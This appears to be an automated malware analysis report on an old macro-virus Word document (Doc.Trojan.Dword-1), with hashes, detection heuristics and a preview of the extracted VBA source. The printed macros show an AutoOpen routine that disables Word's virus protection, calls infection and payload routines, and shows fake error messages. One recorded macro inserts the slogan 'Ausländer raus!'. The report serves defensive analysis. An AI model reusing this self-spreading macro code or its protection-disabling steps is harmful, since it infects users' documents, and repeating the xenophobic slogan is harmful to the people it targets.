Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b064fb620ba79da5…

MALICIOUS

Office (OLE)

78.5 KB Created: 1998-11-15 12:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 58128ff4d769ec1c1ab109dd39ac6eb3 SHA-1: d994138e1acade365951597b3bdaee6b60e8016b SHA-256: b064fb620ba79da5769888130836de523bbb22d3e89b761439dc024152064053
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with critical heuristics firing for VBA macros and an AutoOpen macro. The presence of VBA macros, specifically an AutoOpen macro, suggests that malicious code is designed to execute automatically when the document is opened. The 'Dworld' subroutine, though truncated, indicates potential for further malicious actions.

Heuristics 4

  • ClamAV: Doc.Trojan.Dword-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dword-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 30528 bytes
SHA-256: e2c0f7b0aa87403f0b11c2d4e98dcb3794b7971b4611067c96b97859e6ebd081
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub wechsel()
Attribute wechsel.VB_Description = "Makro aufgezeichnet am 12.01.99 von Harald J. Glatte"
Attribute wechsel.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.wechsel"
' wechsel Makro
' Makro aufgezeichnet am 12.01.99 von Harald J. Glatte
  Selection.InsertBreak Type:=wdSectionBreakContinuous
End Sub
Sub Makro1()
Attribute Makro1.VB_Description = "Makro aufgezeichnet am 03.02.99 von Harald J. Glatte"
Attribute Makro1.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Makro1"
'
' Makro1 Makro
' Makro aufgezeichnet am 03.02.99 von Harald J. Glatte
'
    ActiveDocument.Shapes.AddTextEffect(msoTextEffect14, "Ausländer raus!" & Chr(13) & "" & Chr(10) & "", _
        "Impact", 36#, msoFalse, msoFalse, 181.85, 59.45).Select
    Selection.ShapeRange.ScaleWidth 1.3, msoFalse, msoScaleFromTopLeft
    Selection.ShapeRange.ScaleHeight 0.38, msoFalse, msoScaleFromTopLeft
    Selection.ShapeRange.IncrementTop 7.2
    Selection.ShapeRange.IncrementTop 7.2
    Selection.ShapeRange.IncrementTop 7.2
    Selection.ShapeRange.IncrementTop -1.85
    Selection.ShapeRange.IncrementTop -7.2
    Selection.ShapeRange.IncrementTop -7.2
    Selection.ShapeRange.IncrementTop -7.2
    Selection.ShapeRange.ScaleWidth 1.08, msoFalse, msoScaleFromBottomRight
    Selection.ShapeRange.ScaleHeight 1.02, msoFalse, msoScaleFromTopLeft
End Sub

Attribute VB_Name = "Dworld"

Declare Function ShowCursor Lib "USER32" (ByVal fShow As Integer) As Integer

Sub AnsichtCode()
 On Error Resume Next
 
 Call InfNormal
 Call InfDok
 
 ActiveDocument.SaveAs (WordBasic.[FileName$]())

 MsgBox "Nicht genug freien Speicher um Anwendung zu starten", 16, "Microsoft Word - Fehler"
 
 WordBasic.FileExit dlg

End Sub

Sub AnsichtVBCode()
On Error Resume Next
 
 Call InfNormal
 Call InfDok
 
 ActiveDocument.SaveAs (WordBasic.[FileName$]())

 MsgBox "Nicht genug freien Speicher um Anwendung zu starten", 16, "Microsoft Word - Fehler"
 
 WordBasic.FileExit dlg

End Sub
Sub AutoOpen()

ShowVisualBasicEditor = False
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
 
 With Options
     .SaveNormalPrompt = False
     .VirusProtection = False
     .AllowFastSave = False
 End With

 On Error GoTo ende_
 
 Call InfNormal
 Call InfDok
 Call PayloadB

 ActiveDocument.SaveAs (WordBasic.[FileName$]())

ende_:
End Sub
Sub AutoNew()
 
 Call AutoOpen

End Sub

Sub DateiDokVorlagen()
 On Error Resume Next
 
 Call InfNormal
 Call InfDok
 
 ActiveDocument.SaveAs (WordBasic.[FileName$]())

 MsgBox "Nicht genug freien Speicher um Anwendung zu starten", 16, "Microsoft Word - Fehler"
 
 WordBasic.FileExit dlg

End Sub

Sub DateiDruckenStandard()

Randomize

If Second(Now()) <= 30 And Int((3 * Rnd) + 1) = 2 Then
MsgBox "Des Zauberer´s Finger sind im Spiel!", 32, "Microsoft Word"

ScreenUpdating = 0
 
 Call PayloadA
 
  WordBasic.EndOfDocument
    Selection.TypeParagraph
    Selection.TypeParagraph
     Selection.Font.Name = "Courier New"
    Selection.Font.ColorIndex = wdRed
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
    WordBasic.Insert "...Die aufgeklärten Brüder der schwarzen Nacht sagen:..."
    Selection.TypeParagraph
    WordBasic.Insert "-HOOOOOLLDRIIOOOOO!!!-"
  WordBasic.StartOfDocument
 
ScreenUpdating = 1

End If
 
 ActiveDocument.PrintOut
 
 Call InfNormal
 Call InfDok

 ActiveDocument.SaveAs (WordBasic.[FileName$]())

 Call PayloadB

End Sub

Sub DateiÖffnen()
On Error GoTo ende_
 
 ShowVisualBasicEditor = False
 WordBasic.DisableAutoMacros 0

 With Options
     .SaveNormalPrompt = False
 End With

 With Dialogs(wdDialogFileOpen)
     .Show
 End With

 Call InfDok
 
 ActiveDocument.Save
 

... (truncated)

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